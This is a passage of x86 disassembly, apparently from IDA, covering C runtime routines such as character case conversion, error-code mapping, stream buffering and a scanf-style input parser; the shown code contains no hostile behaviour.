loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E0BE4, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_441DB4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_441BA8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4E0BE4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4E0B2C, ecx
		mov	eax, offset dword_441EC0

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_442028
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4E0B28, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_441EC4[edx*8]
		mov	dword_4E0B28, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4E0B28, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4E0B28, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_4422B8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_4422D8
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4E0D10
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4E0BB4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4E0BB4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_441DB4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_441BA8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_441DB4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_441DB4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_441DB8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_441DB8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_441DB4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_441DB4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_442158
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_442030
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_442028

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_441BA8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_441DB4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
